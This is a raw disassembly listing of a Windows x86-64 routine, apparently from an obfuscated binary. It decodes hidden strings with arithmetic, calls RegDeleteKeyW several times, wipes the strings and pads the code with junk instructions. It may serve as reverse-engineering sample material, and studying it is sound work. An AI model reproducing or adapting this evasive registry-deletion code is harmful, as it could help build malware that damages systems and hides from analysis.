mov byte [rbp + rdx + 0x32a], 5
sub byte [rbp + rdx + 0x32a], 5
inc rdx
cmp rdx, 0x22
jb 0x1400914f4
lea rdx, [rbp + 0x34e]
nop
movabs rcx, 0xffffffff29a7bb3c
add rcx, 0x7fffffff
sub rcx, 0x29a7bb39
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xchg r14, rax
mov r14, rbx
xchg r14, rax
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax + 0x34e], 0x35
xor byte [rbp + rax + 0x34e], 0x35
inc rax
cmp rax, 0x44
jb 0x140091566
mov dword [rbp + 0x270], 0x681f611a
add dword [rbp + 0x270], 0x569f5da4
mov dword [rbp + 0x28e], 0x56f34535
add dword [rbp + 0x28e], 0xa8beba60
mov dword [rbp + 0x292], 0xd13bd08
add dword [rbp + 0x292], 0xf2a342a0
mov dword [rbp + 0x274], 0x72318343
add dword [rbp + 0x274], 0x4c8d3b7b
mov dword [rbp + 0x296], 0x5f44120f
xor dword [rbp + 0x296], 0xa0e7edb6
mov dword [rbp + 0x29a], 0x42b0e40d
xor dword [rbp + 0x29a], 0xbd171bb9
mov dword [rbp + 0x278], 0x6383d101
add dword [rbp + 0x278], 0x5b3aedbd
mov dword [rbp + 0x29e], 0x785c81cb
add dword [rbp + 0x29e], 0x872e7dd3
mov dword [rbp + 0x2a2], 0x5497fd8
xor dword [rbp + 0x2a2], 0xfaf3807f
mov dword [rbp + 0x27c], 0x68c052de
add dword [rbp + 0x27c], 0x55fe6be0
mov dword [rbp + 0x2a6], 0x5e1b28e7
add dword [rbp + 0x2a6], 0xa179d688
mov dword [rbp + 0x2aa], 0x618a7eae
xor dword [rbp + 0x2aa], 0x9e31810d
mov dword [rbp + 0x280], 0x609bd52
add dword [rbp + 0x280], 0xb8b5016c
mov dword [rbp + 0x2ae], 0x6dc64184
add dword [rbp + 0x2ae], 0x91d8be31
mov dword [rbp + 0x2b2], 0x143c30fd
add dword [rbp + 0x2b2], 0xeb4ace8e
mov dword [rbp + 0x284], 0x6ce3de82
xor dword [rbp + 0x284], 0xd25d603c
mov dword [rbp + 0x2b6], 0x621240b3
xor dword [rbp + 0x2b6], 0x9d8cbf30
mov dword [rbp + 0x2ba], 0x395c50b6
add dword [rbp + 0x2ba], 0xc64faed4
mov dword [rbp + 0x288], 0x1afa2394
add dword [rbp + 0x288], 0xa3c49b2a
mov dword [rbp + 0x2be], 0x30dfbc7a
add dword [rbp + 0x2be], 0xced7433b
mov dword [rbp + 0x2c2], 0x343d18b9
xor dword [rbp + 0x2c2], 0xcb89e708
mov byte [rbp + 0x28c], 0x63
add byte [rbp + 0x28c], 0x5b
mov dword [rbp + 0x2c6], 0x43076a37
xor dword [rbp + 0x2c6], 0x4307958c
xchg rdx, r8
mov r8, rbx
xchg rdx, r8
nop word [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x28e]
movzx eax, byte [rbp + rdx + 0x270]
add ax, cx
mov word [rbp + rdx*2 + 0x28e], ax
mov byte [rbp + rdx + 0x270], 0x6a
xor byte [rbp + rdx + 0x270], 0x6a
inc rdx
cmp rdx, 0x1d
jb 0x14009175b
lea rdx, [rbp + 0x28e]
nop
movabs rcx, 0xffffffff3272f1eb
add rcx, 0x4d8d0e17
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax + 0x28e], 1
xor byte [rbp + rax + 0x28e], 1
inc rax
cmp rax, 0x3a
jb 0x1400917c6
mov dword [rbp + 0x2ca], 0x9533252
add dword [rbp + 0x2ca], 0xb56b8c6c
mov dword [rbp + 0x2ea], 0x37b5234a
add dword [rbp + 0x2ea], 0xc7fcdc4b
mov dword [rbp + 0x2ee], 0x52684b40
xor dword [rbp + 0x2ee], 0xaddeb4e8
mov dword [rbp + 0x2ce], 0x47d9f4f7
add dword [rbp + 0x2ce], 0x76e4c9c7
mov dword [rbp + 0x2f2], 0x745b1c03
add dword [rbp + 0x2f2], 0x8b48e3b6
mov dword [rbp + 0x2f6], 0x3a2841ed
add dword [rbp + 0x2f6], 0xc57fbdc7
mov dword [rbp + 0x2d2], 0x61c5974d
add dword [rbp + 0x2d2], 0x5cf92771
mov dword [rbp + 0x2fa], 0x5dba142c
add dword [rbp + 0x2fa], 0xa1d0eb72
mov dword [rbp + 0x2fe], 0x7f8e6822
add dword [rbp + 0x2fe], 0x802c9785
mov dword [rbp + 0x2d6], 0x19382e94
add dword [rbp + 0x2d6], 0xa586902a
mov dword [rbp + 0x302], 0x2b3a0502
add dword [rbp + 0x302], 0xd45afa6d
mov dword [rbp + 0x306], 0x42b64d73
add dword [rbp + 0x306], 0xbd05b230
mov dword [rbp + 0x2da], 0x7379089
add dword [rbp + 0x2da], 0xb7872e35
mov dword [rbp + 0x30a], 0xceac21a
add dword [rbp + 0x30a], 0xf2b43d9b
mov dword [rbp + 0x30e], 0x34586d7f
xor dword [rbp + 0x30e], 0xcbde92f4
mov dword [rbp + 0x2de], 0x5edca611
add dword [rbp + 0x2de], 0x5fe218ad
mov dword [rbp + 0x312], 0x19d75611
add dword [rbp + 0x312], 0xe5c7a972
mov dword [rbp + 0x316], 0x278c8a28
xor dword [rbp + 0x316], 0xd82775a2
mov dword [rbp + 0x2e2], 0x7c87f56e
add dword [rbp + 0x2e2], 0x4236c950
mov dword [rbp + 0x31a], 0x11c1857c
add dword [rbp + 0x31a], 0xedf57a39
mov dword [rbp + 0x31e], 0x7b2d753f
add dword [rbp + 0x31e], 0x84878a72
mov word [rbp + 0x2e6], 0x51c8
add word [rbp + 0x2e6], 0x6cf6
mov dword [rbp + 0x322], 0x6916552b
xor dword [rbp + 0x322], 0x966eaa90
mov byte [rbp + 0x2e8], 9
add byte [rbp + 0x2e8], 0xb5
mov dword [rbp + 0x326], 0x54b8ddbe
xor dword [rbp + 0x326], 0x54b822c8
xchg r8, rbx
mov rbx, r8
xchg r8, rbx
nop word [rax + rax]
movzx edx, word [rbp + r8*2 + 0x2ea]
movzx eax, byte [rbp + r8 + 0x2ca]
add ax, dx
mov word [rbp + r8*2 + 0x2ea], ax
mov byte [rbp + r8 + 0x2ca], 0x6d
sub byte [rbp + r8 + 0x2ca], 0x6d
inc r8
cmp r8, 0x1f
jb 0x1400919de
lea rdx, [rbp + 0x2ea]
nop
movabs rcx, 0xffffffff4bb691d6
add rcx, 0x7fffffff
sub rcx, 0x4bb691d3
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
nop dword [rax]
nop dword [rax + rax]
mov byte [rbp + rbx + 0x2ea], reloc.SHLWAPI.dll_SHCreateMemStream
sub byte [rbp + rbx + 0x2ea], 0xc
inc rbx
cmp rbx, 0x3e
jb 0x140091a4d
mov rcx, qword [rbp + 0xc18]
test rcx, rcx
je 0x140091a8d
mov rax, qword [rcx]
lea rdx, [rbp + 0xbe0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov rbx, qword [rsp + 0x2830]
add rsp, 0x27f0
nop
add rsp, 8
xchg qword [rsp - 8], r15
push rax
push rdx
push rcx
push rbx
xchg qword [rsp + 0x20], r14
pop rbx
pop rcx
pop rdx
pop rax
add rsp, 8
nop
add rsp, 8
mov r13, qword [rsp - 8]
push rbx
push rax
push rax
push rdx
xchg qword [rsp + 0x20], r12
add rsp, 0x28
push rbx
push rcx
push rbx
push rcx
push rcx
push rax
push rcx
xchg qword [rsp + 0x38], rdi
pop rcx
pop rax
pop rcx
pop rcx
pop rbx
pop rcx
pop rbx
add rsp, 8
push rdx
push rdx
push rcx
push rcx
push rbx
push rdx
push rcx
xchg qword [rsp + 0x38], rsi
pop rcx
pop rdx
pop rbx
pop rcx
pop rcx
pop rdx
pop rdx
add rsp, 8
push rcx
xchg qword [rsp + 8], rbp
pop rcx
add rsp, 8
ret
call sub.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_
nop
int3